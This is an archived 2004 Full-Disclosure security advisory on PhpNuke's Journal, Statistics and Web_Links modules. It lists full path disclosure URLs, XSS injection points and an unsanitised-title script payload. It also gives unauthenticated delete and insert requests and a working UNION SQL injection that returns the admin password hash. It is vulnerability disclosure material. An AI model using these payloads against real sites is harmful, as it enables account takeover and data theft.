[Full-Disclosure] [waraxe-2004-SA#033 - Multiple security holes in PhpNuke - part 1]
From: Janek Vind (come2waraxe_at_yahoo.com)
Date: 06/23/04
- Previous message: VeNoMouS: "[Full-Disclosure] flaw in php_exec_dir patch"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
To: full-disclosure@lists.netsys.com Date: Tue, 22 Jun 2004 16:59:10 -0700 (PDT)
{================================================================================}
{ [waraxe-2004-SA#033]
}
{================================================================================}
{
}
{ [ Multiple security holes in PhpNuke
- part 1] }
{
}
{================================================================================}
Author: Janek Vind "waraxe"
Date: 23. June 2004
Location: Estonia, Tartu
Web: http://www.waraxe.us/index.php?modname=sa&id=33
Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Php-Nuke is a popular freeware content management
system, written in php by
Francisco Burzi. This CMS (Content Management System)
is used on many thousands
websites, because it's freeware, easy to install and
has broad set of features.
Homepage: http://phpnuke.org
Vulnerabilities:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
There are various security flaws - full path
disclosure, xss, script injection and
critical sql injection. Most of the bugs, dicussed in
current advisory, are located
in "Journal" module, and couple of full path
disclosure bugs are in "Web_Links" and
"Statistics" modules.
A - Full Path Disclosure
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
A1 - full path disclosure in
"/modules/Web_Links/voteinclude.php":
http://localhost/nuke73/modules/Web_Links/voteinclude.php
Warning: main(modules/Web_Links/l_config.php): failed
to open stream: No such file or directory in
D:\apache_wwwroot\nuke73\modules\Web_Links\voteinclude.php
on line 24
Fatal error: main(): Failed opening required
'modules/Web_Links/l_config.php'
(include_path='.;c:\php4\pear') in
D:\apache_wwwroot\nuke73\modules\Web_Links\voteinclude.php
on line 24
A2 - full path disclosure in "Statistics" module:
Let's see original code from
"/modules/Statistics/index.php":
-----------------------------------------------------
switch($op) {
default:
Stats_Main();
break;
case "Stats":
Stats($total);
break;
case "YearlyStats":
YearlyStats($year);
break;
case "MonthlyStats":
MonthlyStats($year,$month);
break;
case "DailyStats":
DailyStats($year,$month,$date);
break;
case "convert_month":
convert_month($month);
break;
}
----------------------------------------------------
Anything seems OK? Guess what - convert_month() is
legacy function, not
referenced anywhere else. So if we make GET request
like this:
http://localhost/nuke73/modules.php?name=Statistics&op=convert_month
then will get error messages, revealing full path to
script:
Fatal error: Call to undefined function:
convert_month() in
D:\apache_wwwroot\nuke73\modules\Statistics\index.php
on line 477
A3 - full path disclosure in
"modules/Journal/add.php":
Reason is uninitialized array "filelist"
http://localhost/nuke73/modules.php?name=Journal&file=add&filelist=f00bar
Fatal error: [] operator not supported for strings in
D:\apache_wwwroot\nuke73\modules\Journal\add.php on
line 102
A4 - full path disclosure in
"modules/Journal/modify.php":
Reason is uninitialized array "filelist"
http://localhost/nuke73/modules.php?name=Journal&file=modify&filelist=f00bar
B - Cross-site scripting aka XSS
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
XSS can lead to cookie theft and finally to website
deface/overtake.
B1 - xss in "/modules/Journal/friend.php":
http://localhost/nuke73/modules.php?name=Journal&file=friend&jid=2&yun=[xss
code here]
http://localhost/nuke73/modules.php?name=Journal&file=friend&jid=2&ye=[xss
code here]
B2 - xss in "modules/Journal/add.php":
http://localhost/nuke73/modules.php?name=Journal&file=add&filelist[]=[xss
code here]
B3 - xss in "modules/Journal/modify.php":
http://localhost/nuke73/modules.php?name=Journal&file=modify&filelist[]=[xss
code here]
B4 - xss in "modules/Journal/delete.php":
http://localhost/nuke73/modules.php?name=Journal&file=delete&jid=[xss
code here]&forwhat=waraxe
B5 - xss in "modules/Journal/comment.php":
http://localhost/nuke73/modules.php?name=Journal&file=comment&onwhat=[xss
code here]
B6 - xss in "modules/Journal/commentsave.php":
http://localhost/nuke73/modules.php?name=Journal&file=commentsave&rid=[xss
code here]
C - Script injection to Journal entry
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Journal entry's main text is sanitaized against script
injection, but for some reason
title text is unsanitaized. So, potential attacker can
write journal entry and place to
title input field something like:
"Look at cool pics! <body
onload=alert(document.cookie);>"
And now, when anyone, including admins, will list
specific journal entries:
http://localhost/nuke73/modules.php?name=Journal&file=search&bywhat=aid&forwhat=waraxe
or will read it:
http://localhost/nuke73/modules.php?name=Journal&file=display&jid=2
then injected javascript can do anything, attacker
desires.
D - Missing authentication in some functions
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
D1 - unauthorized comment deletion in
"modules/Journal/commentkill.php":
Let's look at original code:
--------------------------------------------------
cookiedecode($user);
$username = $cookie[1];
if ($debug == "true") :
echo ("UserName:$username<br>SiteName:
$sitename");
endif;
startjournal($sitename,$user);
$onwhat = intval($onwhat);
$sql = "DELETE FROM ".$prefix."_journal_comments WHERE
cid = '$onwhat'";
$db->sql_query($sql);
--------------------------------------------------
Funny thing, but script's author seems to forget about
permission check at all!
So if anyone will want to delete ANY comment from any
journal for some reason,
then simple GET request will do the job:
http://localhost/nuke73/modules.php?name=Journal&file=commentkill&onwhat=1
Of course, comment's ID must be right number.
I can understand - Journal comments are absolutely
uncritical issue and who gives a
s*it about them, but anyway - this is very bad coding
style ...
D2 - unauthorized journal entry insertion in
"modules/Journal/savenew.php":
Same problem - no permissions check at all. Any
anonymous person, who is not
member of the nuke site, can add journal entries with
ease:
http://localhost/nuke73/modules.php?name=Journal&file=savenew&title=f00bar
Those entries seems to be kinda invisible for search
and listing, but this bug
can be useful for attacker as method to flood the
database for example.
E - sql injection
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
E1 - critical sql injection in
"modules/Journal/search.php":
First, let's look at original code:
--------------------------------------------------
cookiedecode($user);
$username = $cookie[1];
if (!isset($bywhat)):
$bywhat = "naddaanythang";
else :
$bywhat = stripslashes($bywhat);
endif;
if (!isset($forwhat)):
$forwhat = "naddaanythang";
else :
$forwhat = stripslashes($forwhat);
endif;
...
...
function
search($username,$bywhat,$forwhat,$sitename,$bgcolor2,$bgcolor3,$user)
{
global $prefix, $user_prefix, $db, $module_name,
$exact;
echo "<br>";
OpenTable();
...
...
if ($bywhat == 'aid'):
if ($exact == '1') {
$sql = "SELECT j.jid, j.aid, j.title,
j.pdate, j.ptime, j.mdate, j.mtime,
u.user_id, u.username FROM ".$prefix."_journal j,
".$user_prefix."_users u
WHERE u.username=j.aid and j.aid='$forwhat' order
by j.jid DESC";
} else {
...
...
$result = $db->sql_query($sql);
--------------------------------------------------
Nice case of sql injection - first user submitted
variables "bywhat" and
"forwhat" will be processed by "stripslashes()" and
then WITHOUT ANY SANITATION
will be used in "SELECT FROM" sql query...
So it's time to test proof of concept sploit:
----------[real-life sploit started]--------------
http://localhost/nuke73/modules.php?name=Journal&file=search&bywhat=aid&exact=1
&forwhat=kala'/**/UNION/**/SELECT/**/0,0,pwd,0,0,0,0,0,0/**/FROM/**/nuke_authors/**/
WHERE/**/radminsuper=1/**/LIMIT/**/1/*
-----------[real-life sploit ended]---------------
And as result, we will see admin password md5 hash in
place, where normally journal
entry's title will show up.
As with any UNION exploit - mysql version 4.x is
needed with UNION functionality
enabled.
How to fix:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Anyone interested in tutorial(s) for fixing those
security bugs, is welcome to
forum on http://www.waraxe.us/forums.html
See ya there!
Greetings:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Greets to Raido Kerna and to
http://www.gamecheaters.us staff!
Special greets to icenix, Dionysus, Stonecold and
slimjim100!
Tervitused - Heintz ja Maku!
Contact:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
come2waraxe@yahoo.com
Janek Vind "waraxe"
Homepage: http://www.waraxe.us/
---------------------------------- [ EOF ]
------------------------------------
__________________________________
Do you Yahoo!?
New and Improved Yahoo! Mail - 100MB free storage!
http://promotions.yahoo.com/new_mail
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html
- Previous message: VeNoMouS: "[Full-Disclosure] flaw in php_exec_dir patch"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
Relevant Pages
|
|
